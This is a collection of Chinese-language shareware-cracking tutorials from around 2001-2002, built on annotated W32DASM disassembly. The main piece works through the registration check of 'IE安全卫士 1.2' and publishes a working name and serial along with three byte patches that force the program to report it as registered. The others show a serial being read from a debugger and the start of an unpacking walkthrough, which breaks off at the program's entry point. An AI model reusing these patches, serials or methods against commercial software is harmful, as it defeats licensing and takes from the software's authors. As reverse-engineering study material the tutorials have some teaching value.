:0040E7E9 E821200000 call 0041080F
:0040E7EE 83C428 add esp, 00000028
:0040E7F1 8D95F8FEFFFF lea edx, dword ptr [ebp+FFFFFEF8]
:0040E7F7 52 push edx
:0040E7F8 E8E9670000 call 00414FE6
:0040E7FD 83C404 add esp, 00000004
:0040E800 8D85CCFCFFFF lea eax, dword ptr [ebp+FFFFFCCC]
:0040E806 50 push eax
:0040E807 E8DA670000 call 00414FE6
:0040E80C 83C404 add esp, 00000004
:0040E80F 8D8DF8FEFFFF lea ecx, dword ptr [ebp+FFFFFEF8]
:0040E815 51 push ecx
:0040E816 8D95CCFCFFFF lea edx, dword ptr [ebp+FFFFFCCC]
:0040E81C 52 push edx
:0040E81D E84E230000 call 00410B70==>关键点，应该跟进去看看
:0040E822 83C408 add esp, 00000008
:0040E825 85C0 test eax, eax
:0040E827 0F84B9000000 je 0040E8E6==>跳转则显示注册成功提示信息
:0040E82D 6804010000 push 00000104
:0040E832 8D85CCFCFFFF lea eax, dword ptr [ebp+FFFFFCCC]
:0040E838 50 push eax

* Possible Reference to String Resource ID=00198: "ˊ8e剰_cn 送?ecn剰_"==>注册错误提示信息
|
:0040E839 68C6000000 push 000000C6
:0040E83E 8B0D48D64100 mov ecx, dword ptr [0041D648]
:0040E844 51 push ecx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040E845 FF1520624100 Call dword ptr [00416220]
:0040E84B 6804010000 push 00000104
:0040E850 8D95D0FDFFFF lea edx, dword ptr [ebp+FFFFFDD0]
:0040E856 52 push edx

* Possible Reference to String Resource ID=00059: "睋B摼H"
|
:0040E857 6A3B push 0000003B
:0040E859 A148D64100 mov eax, dword ptr [0041D648]
:0040E85E 50 push eax

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040E85F FF1520624100 Call dword ptr [00416220]

* Possible Reference to String Resource ID=00016: "\b ||"
|
:0040E865 6A10 push 00000010
:0040E867 8D8DD0FDFFFF lea ecx, dword ptr [ebp+FFFFFDD0]
:0040E86D 51 push ecx
:0040E86E 8D95CCFCFFFF lea edx, dword ptr [ebp+FFFFFCCC]
:0040E874 52 push edx
:0040E875 8B4508 mov eax, dword ptr [ebp+08]
:0040E878 50 push eax

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:0040E879 FF15E4614100 Call dword ptr [004161E4]
:0040E87F 6A00 push 00000000
:0040E881 6856040000 push 00000456
:0040E886 8B4D08 mov ecx, dword ptr [ebp+08]
:0040E889 51 push ecx

* Reference To: USER32.GetDlgItem, Ord:0000h
|
:0040E88A FF1548624100 Call dword ptr [00416248]
:0040E890 50 push eax

* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:0040E891 FF1544624100 Call dword ptr [00416244]
:0040E897 6A00 push 00000000
:0040E899 6857040000 push 00000457
:0040E89E 8B5508 mov edx, dword ptr [ebp+08]
:0040E8A1 52 push edx

* Reference To: USER32.GetDlgItem, Ord:0000h
|
:0040E8A2 FF1548624100 Call dword ptr [00416248]
:0040E8A8 50 push eax

* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:0040E8A9 FF1544624100 Call dword ptr [00416244]
:0040E8AF 6A00 push 00000000
:0040E8B1 6858040000 push 00000458
:0040E8B6 8B4508 mov eax, dword ptr [ebp+08]
:0040E8B9 50 push eax

* Reference To: USER32.GetDlgItem, Ord:0000h
|
:0040E8BA FF1548624100 Call dword ptr [00416248]
:0040E8C0 50 push eax

* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:0040E8C1 FF1544624100 Call dword ptr [00416244]
:0040E8C7 6A00 push 00000000
:0040E8C9 6859040000 push 00000459
:0040E8CE 8B4D08 mov ecx, dword ptr [ebp+08]
:0040E8D1 51 push ecx

* Reference To: USER32.GetDlgItem, Ord:0000h
|
:0040E8D2 FF1548624100 Call dword ptr [00416248]
:0040E8D8 50 push eax

* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:0040E8D9 FF1544624100 Call dword ptr [00416244]
:0040E8DF 33C0 xor eax, eax
:0040E8E1 E9A4000000 jmp 0040E98A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040E827(C)
|
:0040E8E6 8D95D8FEFFFF lea edx, dword ptr [ebp+FFFFFED8]
:0040E8EC 52 push edx
:0040E8ED E8A70D0000 call 0040F699
:0040E8F2 83C404 add esp, 00000004

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:0040E8F5 C70528D6410001000000 mov dword ptr [0041D628], 00000001

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:0040E8FF C7052CD6410001000000 mov dword ptr [0041D62C], 00000001
:0040E909 6804010000 push 00000104
:0040E90E 8D85CCFCFFFF lea eax, dword ptr [ebp+FFFFFCCC]
:0040E914 50 push eax

* Possible Reference to String Resource ID=00199: "鑺?"==>注册成功提示信息
|
:0040E915 68C7000000 push 000000C7
:0040E91A 8B0D48D64100 mov ecx, dword ptr [0041D648]
:0040E920 51 push ecx

跟踪进入 call 00410B70 后，汇编代码如下：

* Referenced by a CALL at Address:
|:0040E81D
|
:00410B70 8B542404 mov edx, dword ptr [esp+04]==>edx 中放着你输入的注册码
:00410B74 8B4C2408 mov ecx, dword ptr [esp+08]==>ecx 中放着真的注册码

* Possible Reference to String Resource ID=00003: ""
|
:00410B78 F7C203000000 test edx, 00000003
:00410B7E 753C jne 00410BBC

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00410BAC(C), :00410BD6(C), :00410BF2(U)
|
:00410B80 8B02 mov eax, dword ptr [edx]
:00410B82 3A01 cmp al, byte ptr [ecx]
:00410B84 752E jne 00410BB4
:00410B86 0AC0 or al, al
:00410B88 7426 je 00410BB0
:00410B8A 3A6101 cmp ah, byte ptr [ecx+01]
:00410B8D 7525 jne 00410BB4
:00410B8F 0AE4 or ah, ah
:00410B91 741D je 00410BB0
:00410B93 C1E810 shr eax, 10
:00410B96 3A4102 cmp al, byte ptr [ecx+02]
:00410B99 7519 jne 00410BB4
:00410B9B 0AC0 or al, al
:00410B9D 7411 je 00410BB0
:00410B9F 3A6103 cmp ah, byte ptr [ecx+03]
:00410BA2 7510 jne 00410BB4
:00410BA4 83C104 add ecx, 00000004
:00410BA7 83C204 add edx, 00000004
:00410BAA 0AE4 or ah, ah
:00410BAC 75D2 jne 00410B80
:00410BAE 8BFF mov edi, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00410B88(C), :00410B91(C), :00410B9D(C), :00410BCE(C), :00410BE4(C)
|:00410BED(C)
|
:00410BB0 33C0 xor eax, eax
:00410BB2 C3 ret

用 TRW2000 在 00410B78 处下断后，用 d ecx 命令就可以知道真的注册码。

我的用户名是：FLITHAWK，机器号是：574B-3147-3735-3935，注册号是：C1D7-B567-6484-F9E2

至此，该软件的破解全部结束，希望此篇能对破解初学者有所帮助！

Crack by 飞鹰[BCG] flithawk@263.net 2001.10.25
欢迎光临汉化新世纪: http://www.hanzify.org


慧琦网通-IE安全卫士 1.2

 标 题:慧琦网通-IE安全卫士 1.2 破解过程全面分析 (22千字)
发信人:飞鹰[BCG]
时 间:2002-1-13 18:26:50
详细信息:
慧琦网通-IE安全卫士 1.2 破解过程全面分析

软件名称：慧琦网通-IE安全卫士 V1.2
软件简介：在浏览某些网站时，用户的个人电脑配置常常被这些网站偷梁换柱，许多人都碰到过这类情况。比如：网页的主页与标题被人设置，WINDOWS的某些功能被人禁用，每次开机时出现一些莫名其妙的网站等等。
下载地址：http://www.shareware.net.cn/download.asp?id={16A46F8E-45C7-4C22-9B0B-28F5EC38CA05}
未注册版限制：最多只能使用15次并有一些功能限制。
破解工具：W32DASM 8.93汉化版、PE iDentifier 0.7 Beta 汉化版、Hiew6.76、UPX 1.20。
破解人：飞鹰[BCG]
E-mail：flithawk@263.net
网址：http://flithawk.longcity.net

该软件的注册过程是通过你输入注册信息后，将软件关闭再打开，进行注册。

通过观察注册表可知，该软件的注册信息是被保存在注册表的 HKLM\SOFTWARE\Microsoft\tpcip\CurrentVersion 项目中；每次启动软件都要与该项中的键值比较，看你是否已经注册并判断注册信息是否正确。

下面，我们用 PE iDentifier 0.7 Beta 汉化版 查看可知该软件被用 UPX 加了壳，现在用 UPX 1.20 的 upx -d 命令进行脱壳后，用 W32DASM 8.93汉化版 反编译该软件，并查找 tpcip\CurrentVersion ，找到以下两处：

第一处：

* Possible StringData Ref from Code Obj ->"SOFTWARE\Microsoft\tpcip\CurrentVersion"
|
:0049A644 68E4A64900 push 0049A6E4
:0049A649 6802000080 push 80000002

* Reference To: advapi32.RegCreateKeyExA, Ord:0000h
|
:0049A64E E851C5F6FF Call 00406BA4
:0049A653 85C0 test eax, eax
:0049A655 7563 jne 0049A6BA
:0049A657 8D55F4 lea edx, dword ptr [ebp-0C]
:0049A65A 8B8360050000 mov eax, dword ptr [ebx+00000560]
:0049A660 E80F1DFAFF call 0043C374
:0049A665 8B4DF4 mov ecx, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"Rotescode"
|
:0049A668 BA14A74900 mov edx, 0049A714
:0049A66D 8B45FC mov eax, dword ptr [ebp-04]
:0049A670 E85F55FDFF call 0046FBD4
:0049A675 8D55F0 lea edx, dword ptr [ebp-10]
:0049A678 8B8370050000 mov eax, dword ptr [ebx+00000570]
:0049A67E E8F11CFAFF call 0043C374
:0049A683 8B4DF0 mov ecx, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"RotesNum"
|
:0049A686 BA28A74900 mov edx, 0049A728
:0049A68B 8B45FC mov eax, dword ptr [ebp-04]
:0049A68E E84155FDFF call 0046FBD4
:0049A693 8D55EC lea edx, dword ptr [ebp-14]
:0049A696 8B8368050000 mov eax, dword ptr [ebx+00000568]
:0049A69C E8D31CFAFF call 0043C374
:0049A6A1 8B4DEC mov ecx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"Object"
|
:0049A6A4 BA3CA74900 mov edx, 0049A73C
:0049A6A9 8B45FC mov eax, dword ptr [ebp-04]
:0049A6AC E82355FDFF call 0046FBD4
:0049A6B1 8B45FC mov eax, dword ptr [ebp-04]
:0049A6B4 50 push eax

* Reference To: advapi32.RegCloseKey, Ord:0000h
|
:0049A6B5 E8E2C4F6FF Call 00406B9C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049A629(C), :0049A655(C)
|
:0049A6BA 33C0 xor eax, eax
:0049A6BC 5A pop edx
:0049A6BD 59 pop ecx
:0049A6BE 59 pop ecx
:0049A6BF 648910 mov dword ptr fs:[eax], edx
:0049A6C2 68DCA64900 push 0049A6DC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A6DA(U)
|
:0049A6C7 8D45EC lea eax, dword ptr [ebp-14]
:0049A6CA BA03000000 mov edx, 00000003
:0049A6CF E8C49FF6FF call 00404698
:0049A6D4 C3 ret

上面这些汇编代码的作用是：当软件退出时，把你输入的注册信息写入到注册表相关的项目中。

第二处：

* Possible StringData Ref from Code Obj ->"SOFTWARE\Microsoft\tpcip\CurrentVersion"
|
:0049A0FB 6850A44900 push 0049A450
:0049A100 6802000080 push 80000002

* Reference To: advapi32.RegCreateKeyExA, Ord:0000h
|
:0049A105 E89ACAF6FF Call 00406BA4
:0049A10A 85C0 test eax, eax
:0049A10C 7548 jne 0049A156
:0049A10E 8D45FC lea eax, dword ptr [ebp-04]
:0049A111 50 push eax

* Possible StringData Ref from Code Obj ->"PPPPP"
|
:0049A112 B980A44900 mov ecx, 0049A480

* Possible StringData Ref from Code Obj ->"Rotescode"
|
:0049A117 BA90A44900 mov edx, 0049A490
:0049A11C 8B45F0 mov eax, dword ptr [ebp-10]
:0049A11F E87859FDFF call 0046FA9C
:0049A124 8D45F8 lea eax, dword ptr [ebp-08]
:0049A127 50 push eax

* Possible StringData Ref from Code Obj ->"H012123"
|
:0049A128 B9A4A44900 mov ecx, 0049A4A4

* Possible StringData Ref from Code Obj ->"RotesNum"
|
:0049A12D BAB4A44900 mov edx, 0049A4B4
:0049A132 8B45F0 mov eax, dword ptr [ebp-10]
:0049A135 E86259FDFF call 0046FA9C
:0049A13A 8D45F4 lea eax, dword ptr [ebp-0C]
:0049A13D 50 push eax
:0049A13E 33C9 xor ecx, ecx

* Possible StringData Ref from Code Obj ->"Object"
|
:0049A140 BAC8A44900 mov edx, 0049A4C8
:0049A145 8B45F0 mov eax, dword ptr [ebp-10]
:0049A148 E84F59FDFF call 0046FA9C
:0049A14D 8B45F0 mov eax, dword ptr [ebp-10]
:0049A150 50 push eax

* Reference To: advapi32.RegCloseKey, Ord:0000h
|
:0049A151 E846CAF6FF Call 00406B9C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A10C(C)
|
:0049A156 8B45F8 mov eax, dword ptr [ebp-08]

* Possible StringData Ref from Code Obj ->"AHF000186"
|
:0049A159 BAD8A44900 mov edx, 0049A4D8
:0049A15E E80DA9F6FF call 00404A70
:0049A163 7516 jne 0049A17B
:0049A165 8D55D8 lea edx, dword ptr [ebp-28]
:0049A168 8B45F8 mov eax, dword ptr [ebp-08]
:0049A16B E884E6F6FF call 004087F4
:0049A170 8B55D8 mov edx, dword ptr [ebp-28]
:0049A173 8D45F8 lea eax, dword ptr [ebp-08]
:0049A176 E891A5F6FF call 0040470C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A163(C)
|
:0049A17B 8D4DD4 lea ecx, dword ptr [ebp-2C]
:0049A17E 8B55F8 mov edx, dword ptr [ebp-08]
:0049A181 8B45FC mov eax, dword ptr [ebp-04]
:0049A184 E85B53FDFF call 0046F4E4
:0049A189 8B45D4 mov eax, dword ptr [ebp-2C]==>EAX中存着算出的真注册码
:0049A18C 8B55F4 mov edx, dword ptr [ebp-0C]==>EDX是存着你输入的注册码
:0049A18F E8DCA8F6FF call 00404A70
:0049A194 740C je 0049A1A2==>判断输入注册码是否正确，正确则跳转
:0049A196 C683E005000001 mov byte ptr [ebx+000005E0], 01
:0049A19D E9BC000000 jmp 0049A25E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A194(C)
|
:0049A1A2 C683E005000000 mov byte ptr [ebx+000005E0], 00
:0049A1A9 837DF800 cmp dword ptr [ebp-08], 00000000
:0049A1AD 0F84AB000000 je 0049A25E==>这里如果跳转就OVER了
:0049A1B3 8B45F8 mov eax, dword ptr [ebp-08]==>将你输入的用户编码赋给eax
:0049A1B6 8A00 mov al, byte ptr [eax]==>取用户编码的第一位16进制值赋给al
:0049A1B8 04BF add al, BF==>al=al+BF
:0049A1BA 2C1A sub al, 1A==>al=al-1A
:0049A1BC 731E jnb 0049A1DC==>CF位的值是1则不跳，一跳就进入作者设好的陷井了
:0049A1BE 8B45F8 mov eax, dword ptr [ebp-08]==>将你输入的用户编码赋给eax
:0049A1C1 8A4001 mov al, byte ptr [eax+01]==>取用户编码的第二位16进制值赋给al
:0049A1C4 04BF add al, BF==>al=al+BF
:0049A1C6 2C0C sub al, 0C==>al=al-0C
:0049A1C8 7312 jnb 0049A1DC==>CF位的值是1则不跳，一跳就进入作者设好的陷井了
:0049A1CA 8B45F8 mov eax, dword ptr [ebp-08]==>将你输入的用户编码赋给eax
:0049A1CD 8A4002 mov al, byte ptr [eax+02]==>取用户编码的第三位16进制值赋给al
:0049A1D0 04BF add al, BF==>al=al+BF
:0049A1D2 2C1A sub al, 1A==>al=al-1A
:0049A1D4 722E jb 0049A204==>CF位的值是1则跳，一跳就快注册成功了
:0049A1D6 04FA add al, FA==>al=al+FA
:0049A1D8 2C06 sub al, 06==>al=al-06
:0049A1DA 7228 jb 0049A204==>CF位的值是1则跳，不跳将会进入作者设好的陷井

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049A1BC(C), :0049A1C8(C)
|
:0049A1DC C683E005000001 mov byte ptr [ebx+000005E0], 01 -------+软
:0049A1E3 B804000000 mov eax, 00000004 -------+件
-------+作
* Referenced by a (U)nconditional or (C)onditional Jump at Address: -------+者
|:0049A202(C) -------+布
| -------+置
:0049A1E8 8B55F8 mov edx, dword ptr [ebp-08] -------+的
:0049A1EB 8A5402FF mov dl, byte ptr [edx+eax-01] -------+陷
:0049A1EF 80C2D0 add dl, D0 -------+井
:0049A1F2 80EA0A sub dl, 0A -------+用
:0049A1F5 7207 jb 0049A1FE -------+来
:0049A1F7 C683E005000001 mov byte ptr [ebx+000005E0], 01 -------+破
-------+坏
* Referenced by a (U)nconditional or (C)onditional Jump at Address: -------+你
|:0049A1F5(C) -------+的
| -------+分
:0049A1FE 40 inc eax -------+析
:0049A1FF 83F80A cmp eax, 0000000A -------+思
:0049A202 75E4 jne 0049A1E8 -------+路

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049A1D4(C), :0049A1DA(C)
|
:0049A204 80BBE005000000 cmp byte ptr [ebx+000005E0], 00
:0049A20B 7551 jne 0049A25E==>这里如果跳转就OVER了
:0049A20D 8B55FC mov edx, dword ptr [ebp-04]
:0049A210 8B8360050000 mov eax, dword ptr [ebx+00000560]
:0049A216 E88921FAFF call 0043C3A4
:0049A21B 8B55F8 mov edx, dword ptr [ebp-08]
:0049A21E 8B8370050000 mov eax, dword ptr [ebx+00000570]
:0049A224 E87B21FAFF call 0043C3A4
:0049A229 8B55F4 mov edx, dword ptr [ebp-0C]
:0049A22C 8B8368050000 mov eax, dword ptr [ebx+00000568]
:0049A232 E86D21FAFF call 0043C3A4
:0049A237 33D2 xor edx, edx
:0049A239 8B8360050000 mov eax, dword ptr [ebx+00000560]
:0049A23F 8B08 mov ecx, dword ptr [eax]
:0049A241 FF5164 call [ecx+64]
:0049A244 33D2 xor edx, edx
:0049A246 8B8370050000 mov eax, dword ptr [ebx+00000570]
:0049A24C 8B08 mov ecx, dword ptr [eax]
:0049A24E FF5164 call [ecx+64]
:0049A251 33D2 xor edx, edx
:0049A253 8B8368050000 mov eax, dword ptr [ebx+00000568]
:0049A259 8B08 mov ecx, dword ptr [eax]
:0049A25B FF5164 call [ecx+64]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049A19D(U), :0049A1AD(C), :0049A20B(C)
|
:0049A25E 8D55C8 lea edx, dword ptr [ebp-38]
:0049A261 A1ACDA4900 mov eax, dword ptr [0049DAAC]
:0049A266 8B00 mov eax, dword ptr [eax]
:0049A268 E89725FCFF call 0045C804
:0049A26D 8B45C8 mov eax, dword ptr [ebp-38]
:0049A270 8D55CC lea edx, dword ptr [ebp-34]
:0049A273 E81C8AFFFF call 00492C94
:0049A278 8B4DCC mov ecx, dword ptr [ebp-34]
:0049A27B 8D45D0 lea eax, dword ptr [ebp-30]

* Possible StringData Ref from Code Obj ->"当前版本号："
|
:0049A27E BAECA44900 mov edx, 0049A4EC
:0049A283 E8F0A6F6FF call 00404978
:0049A288 8B55D0 mov edx, dword ptr [ebp-30]
:0049A28B 8B8388050000 mov eax, dword ptr [ebx+00000588]
:0049A291 E80E21FAFF call 0043C3A4
:0049A296 33D2 xor edx, edx
:0049A298 8B83F4020000 mov eax, dword ptr [ebx+000002F4]
:0049A29E E835E5FCFF call 004687D8
:0049A2A3 80BBE005000000 cmp byte ptr [ebx+000005E0], 00
:0049A2AA 7467 je 0049A313==>这里如果跳转就注册成功了
:0049A2AC 33D2 xor edx, edx
:0049A2AE 8B8340040000 mov eax, dword ptr [ebx+00000440]
:0049A2B4 8B08 mov ecx, dword ptr [eax]
:0049A2B6 FF5164 call [ecx+64]
:0049A2B9 33D2 xor edx, edx
:0049A2BB 8B83AC040000 mov eax, dword ptr [ebx+000004AC]
:0049A2C1 8B08 mov ecx, dword ptr [eax]
:0049A2C3 FF5164 call [ecx+64]
:0049A2C6 33D2 xor edx, edx
:0049A2C8 8B8398050000 mov eax, dword ptr [ebx+00000598]
:0049A2CE 8B08 mov ecx, dword ptr [eax]
:0049A2D0 FF5164 call [ecx+64]
:0049A2D3 33D2 xor edx, edx
:0049A2D5 8B83E0030000 mov eax, dword ptr [ebx+000003E0]
:0049A2DB 8B08 mov ecx, dword ptr [eax]
:0049A2DD FF5164 call [ecx+64]

* Possible StringData Ref from Code Obj ->"本版为未注册试用版，部分功能只能在注册后才能使"
->"用！"
|
==>未注册版出现的提示
:0049A2E0 BA04A54900 mov edx, 0049A504
:0049A2E5 8B8380050000 mov eax, dword ptr [ebx+00000580]
:0049A2EB E8B420FAFF call 0043C3A4
:0049A2F0 8D55C4 lea edx, dword ptr [ebp-3C]
:0049A2F3 8BC3 mov eax, ebx
:0049A2F5 E87A20FAFF call 0043C374
:0049A2FA 8D45C4 lea eax, dword ptr [ebp-3C]

* Possible StringData Ref from Code Obj ->"[未注册功能限制版]"
|
==>未注册版出现的提示
:0049A2FD BA40A54900 mov edx, 0049A540
:0049A302 E82DA6F6FF call 00404934
:0049A307 8B55C4 mov edx, dword ptr [ebp-3C]
:0049A30A 8BC3 mov eax, ebx
:0049A30C E89320FAFF call 0043C3A4
:0049A311 EB63 jmp 0049A376

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A2AA(C)
|

* Possible StringData Ref from Code Obj ->"恭喜您成为完全版的荣誉注册用户！"
|
==>注册版出现的提示
:0049A313 BA5CA54900 mov edx, 0049A55C
:0049A318 8B8380050000 mov eax, dword ptr [ebx+00000580]
:0049A31E E88120FAFF call 0043C3A4
:0049A323 8D55BC lea edx, dword ptr [ebp-44]
:0049A326 8BC3 mov eax, ebx
:0049A328 E84720FAFF call 0043C374
:0049A32D FF75BC push [ebp-44]

* Possible StringData Ref from Code Obj ->" [荣誉注册用户："
|
==>注册版出现的提示
:0049A330 6888A54900 push 0049A588
:0049A335 8D55B8 lea edx, dword ptr [ebp-48]
:0049A338 8B8360050000 mov eax, dword ptr [ebx+00000560]
:0049A33E E83120FAFF call 0043C374
:0049A343 FF75B8 push [ebp-48]
:0049A346 68A4A54900 push 0049A5A4
:0049A34B 8D45C0 lea eax, dword ptr [ebp-40]
:0049A34E BA04000000 mov edx, 00000004
:0049A353 E894A6F6FF call 004049EC
:0049A358 8B55C0 mov edx, dword ptr [ebp-40]
:0049A35B 8BC3 mov eax, ebx
:0049A35D E84220FAFF call 0043C3A4
:0049A362 33D2 xor edx, edx
:0049A364 8B8384050000 mov eax, dword ptr [ebx+00000584]
:0049A36A 8B08 mov ecx, dword ptr [eax]
:0049A36C FF5164 call [ecx+64]
:0049A36F C683E105000000 mov byte ptr [ebx+000005E1], 00

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A311(U)
|
:0049A376 80BBE105000000 cmp byte ptr [ebx+000005E1], 00
:0049A37D 7413 je 0049A392==>这里如果不跳转将出现“未注册版”提示对话框
:0049A37F 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"提示！"
|
:0049A381 68A8A54900 push 0049A5A8

* Possible StringData Ref from Code Obj ->"本软件的试用版只能使用15次!如果您对试用结果满"
->"意，可以向我们注册。注册费用为12元。"
|
:0049A386 68B0A54900 push 0049A5B0
:0049A38B 6A00 push 00000000

* Reference To: user32.MessageBoxA, Ord:0000h
|
:0049A38D E882D0F6FF Call 00407414

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A37D(C)
|
:0049A392 80BBE105000000 cmp byte ptr [ebx+000005E1], 00
:0049A399 7410 je 0049A3AB
:0049A39B 83BBE40500000F cmp dword ptr [ebx+000005E4], 0000000F==>判断是否已用了15次
:0049A3A2 7E07 jle 0049A3AB==>跳转将运行程序，不跳转将不会执行程序
:0049A3A4 33C0 xor eax, eax
:0049A3A6 E8B1A2F6FF call 0040465C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049A399(C), :0049A3A2(C)
|
:0049A3AB 33C0 xor eax, eax
:0049A3AD 5A pop edx
:0049A3AE 59 pop ecx
:0049A3AF 59 pop ecx
:0049A3B0 648910 mov dword ptr fs:[eax], edx
:0049A3B3 68E7A34900 push 0049A3E7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049A3E5(U)
|
:0049A3B8 8D45B8 lea eax, dword ptr [ebp-48]
:0049A3BB BA04000000 mov edx, 00000004
:0049A3C0 E8D3A2F6FF call 00404698
:0049A3C5 8D45C8 lea eax, dword ptr [ebp-38]
:0049A3C8 BA09000000 mov edx, 00000009
:0049A3CD E8C6A2F6FF call 00404698
:0049A3D2 8D45F4 lea eax, dword ptr [ebp-0C]
:0049A3D5 BA03000000 mov edx, 00000003
:0049A3DA E8B9A2F6FF call 00404698
:0049A3DF C3 ret

上面这些汇编代码总的来说，是软件启动时对注册信息进行检验，判断是否正确。

用户编码的格式：

第一位：:0049A1B3 8B45F8 mov eax, dword ptr [ebp-08]
==>将你输入的用户编码赋给eax
:0049A1B6 8A00 mov al, byte ptr [eax]
==>取你输入用户编码的第一位16进制值赋给al
:0049A1B8 04BF add al, BF
==>al=al+BF
:0049A1BA 2C1A sub al, 1A
==>al=al-1A
:0049A1BC 731E jnb 0049A1DC
==>判断CF进位位是否为1，CF是1则不跳转，不跳转说明格式正确

取你输入的用户编码第一位的16进制值+BF-1A，看最后CF位的值是否为1。如果CF位为1，说明你输入的用户编码第一位是正确的。

例如：
1、ASCII码 0 的16进制值是30，则30+BF=EF,CF的值为0（无进位）；EF-1A=D5,CF的值也为0（无借位），最终CF的值就为0，说明你输入的用户编码第一位是错误的；
2、ASCII码 a 的16进制值是61，则61+BF=120，CF的值为1（有进位）；120-1A=106,CF的值也为0（无借位），最终CF的值就为0，说明你输入的用户编码第一位是错误的；
3、ASCII码 A 的16进制值是41，则41+BF=100，CF的值为1（有进位）；100-1A=E6,CF的值也为1（有借位），最终CF的值就为1，说明你输入的用户编码第一位是正确的；

所以，最后证明用户编码的第一位必须是大写字母A至Z才符合程序要求。

按照上面的这种推理过程，可以知道用户编码的第二、三位的值。

第二位：:0049A1BE 8B45F8 mov eax, dword ptr [ebp-08]
:0049A1C1 8A4001 mov al, byte ptr [eax+01]
:0049A1C4 04BF add al, BF
:0049A1C6 2C0C sub al, 0C
:0049A1C8 7312 jnb 0049A1DC

用户编码的第二位必须是大写字母A至L才符合程序要求。

第三位：:0049A1CA 8B45F8 mov eax, dword ptr [ebp-08]
:0049A1CD 8A4002 mov al, byte ptr [eax+02]
:0049A1D0 04BF add al, BF
:0049A1D2 2C1A sub al, 1A
:0049A1D4 722E jb 0049A204
==>判断CF进位位是否为1，CF是1则跳转，跳转说明格式正确
:0049A1D6 04FA add al, FA
:0049A1D8 2C06 sub al, 06
:0049A1DA 7228 jb 0049A204
==>判断CF进位位是否为1，CF是1则跳转，跳转说明格式正确

用户编码的第三位必须是大写字母A至Z、或者是小写字母a至f才符合程序要求。

从反编译出来的汇编代码中，可以知道该软件只会判断你输入用户编码的前三位，至于后面是什么值它就管不着你了。

如果你输入的用户编码格式正确的话，用TRW2000在 0049A18C 处下命令 d eax，就可以知道真的注册码。

下面给出一个可用的注册信息：
注册名称：flithawk@263.net
注册密码：CP7RBh7p
用户编号：BCG-flithawk

从 0049A1DC 至 0049202 的这些汇编代码我想可能是软件的作者设计出来的陷井，就算满足了执行这些代码需要的条件，你也无法成功注册该软件。

如果你要暴破该软件的话，只要修改下面三处就行了：

第一处：0049A194 740C 改为：EB0C

第二处：0049A20B 7551 改为：9090

第三处：0049A2AA 7467 改为：EB67

如果怕麻烦的话，就改第三处就行了，但最好还是这三处都改一下。

我在破解过程中，发现这样一句话，"Dear Sir: I know you're pefer cracking program. But..My work is hard. Please don't distribute the key to others, thank you very much!"

所以，最后我要声明一下：我写这篇文章纯粹是为了研究该软件的注册过程，我不会因此发布关于该软件的任何注册机及注册码。

Crack by 飞鹰[BCG] flithawk@263.net 2002.01.13
欢迎光临汉化新世纪: http://www.hanzify.org


解魔法转换 v2.1 Beta 2

 标 题:破解魔法转换 v2.1 Beta 2 测试版 (11千字)
发信人:lb[CCG]
时 间:2001-10-28 17:59:37
详细信息:
魔法转换 v2.1 Beta 2 测试版
http://www.keksoft.com
email:support@keksoft.com
作者：X man or lb[BCG][CCG]
简介
====
功能强大的图像转换工具。包括图像浏览、批量转换、图像增强及作品预览四
大部分。图像增强包括调整图像大小、调整层次、旋转、镜象，还有锐化、模
糊、马塞克、浮雕、底片、旋涡、喷雾等效果。你可以将这些效果自定义成方
案，然后再进行批量转换。而且它还支持拖入文件到批量转换列表。它的输出
格式为：bmp、jpg、gif、png、tif、wmf、emf、tga、ico，还包括txt、rtf、
htm、mmc等特效格式。特效格式包括正常模式、缩小一倍、缩小两倍、原图大
小、彩字单一、彩字规律。同时它还能方便的将图像生成.EXE可执行文件。
等级：VERY EASY
目标：破解15天试用的限制

今天打开魔法转换来转几幅图，没想到双击之后却弹出个NAG。说15天试用以到，请
注册云云……
于是哪出宝刀（调试工具），把拦路虎砍掉。

废话少说，用FI检测有无加壳，一试。555555~~，居然有，是ASP的壳，没关系。用
CASPR一下就搞定。（懒人有懒富，不用手动脱壳，哈哈！）

用W32DASM反编译后，来到程序入口处：
:00578890 55 push ebp
:00578891 8BEC mov ebp, esp
:00578893 83C4F0 add esp, FFFFFFF0
:00578896 53 push ebx
:00578897 33C0 xor eax, eax
:00578899 8945F0 mov dword ptr [ebp-10], eax
:0057889C B890835700 mov eax, 00578390
:005788A1 E832E7E8FF call 00406FD8
:005788A6 8B1DDCE65700 mov ebx, dword ptr [0057E6DC]
:005788AC 33C0 xor eax, eax
:005788AE 55 push ebp
:005788AF 68678A5700 push 00578A67
:005788B4 64FF30 push dword ptr fs:[eax]
:005788B7 648920 mov dword ptr fs:[eax], esp
:005788BA 8B03 mov eax, dword ptr [ebx]
:005788BC E82FE9EDFF call 004571F0
:005788C1 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"魔法转换 2.1 Beta 2"
|
